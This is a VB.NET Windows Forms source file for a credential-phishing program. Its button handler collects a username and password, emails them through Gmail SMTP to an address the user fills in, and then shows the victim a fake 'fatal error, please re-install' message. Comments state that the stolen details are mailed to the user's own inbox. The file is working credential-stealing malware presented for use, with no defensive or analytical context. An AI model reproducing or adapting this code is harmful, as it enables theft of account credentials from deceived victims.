Imports System.Net.Mail

Public Class Form1

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        Dim MyMailMessage As New MailMessage
        Try
            If TextBox1.Text & TextBox2.Text = "" Then
                Call MsgBox("Please Enter A User Name and Password!", , "Error!")
            End If
            MyMailMessage.From() = New MailAddress("EMAILHERE") 'Email.
            MyMailMessage.To.Add("EMAIL") 'Replace The X's with your GMAIL Address
            MyMailMessage.Subject = "Account Information"
            MyMailMessage.Body = "Username: " & (TextBox1.Text) & " Password: " & (TextBox2.Text)
            Dim SMTP As New SmtpClient("smtp.gmail.com")
            SMTP.Port = 587
            SMTP.EnableSsl = True
            SMTP.Credentials = New System.Net.NetworkCredential("EMAIL", "PASS")
            SMTP.Send(MyMailMessage)
            'The Below Message is the Fail Message they get, during this message it will email the information to your email
            Call MsgBox("It worked", , "Done!")
        Catch ex As Exception
            'If The Program Does Run Into An Actually Real Error The Following Will Occur and close the program
            Call MsgBox("There Was a Fatal Error Loading The Quick Login Component's Please Re-Install The Program"(MsgBoxStyle.Critical))
            Application.Exit()
        End Try
    End Sub